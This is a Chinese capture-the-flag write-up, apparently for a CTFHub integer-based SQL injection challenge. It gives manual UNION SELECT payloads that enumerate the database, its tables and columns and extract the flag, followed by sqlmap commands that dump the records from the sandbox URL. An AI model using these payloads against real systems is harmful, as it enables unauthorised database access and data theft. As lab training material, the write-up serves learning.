打开页面,是一个搜索框:

手工注入
判断注入类型
由题目给出的 SQL 语句可知,这是整型注入。
判断列数
输入:1 or 1=1 order by 3 #,没有回显。

输入:1 or 1=1 order by 2 #,有回显,说明列数为 2。

联合查询
1、显示数据库版本号、当前数据库名:
-1 union select version(), database() #

由此观之,有数据库sqli。
2、获取数据库中的表名:
-1 union select 1, group_concat(table_name) from information_schema.tables where table_schema=database() #

由此观之,数据库sqli有 2 张表,分别是flag和news。
3、获得某表列名:
-1 union select 1, group_concat(column_name) from information_schema.columns where table_name='flag' #

由此观之,flag表下只有列flag。
4、获得数据:
-1 union select 2, group_concat(flag) from flag #

SQLMap 自动化注入
查数据库名
sqlmap -u http://challenge-7854cc3493b4f039.sandbox.ctfhub.com:10800/?id=1 --dbs --batch --threads 4

查表名
sqlmap -u http://challenge-7854cc3493b4f039.sandbox.ctfhub.com:10800/?id=1 --batch --threads 4 -D sqli --tables

查字段
sqlmap -u http://challenge-7854cc3493b4f039.sandbox.ctfhub.com:10800/?id=1 --batch --threads 4 -D sqli -T flag --columns

查记录
sqlmap -u http://challenge-7854cc3493b4f039.sandbox.ctfhub.com:10800/?id=1 --batch --threads 4 -D sqli -T flag -C"flag" --dump

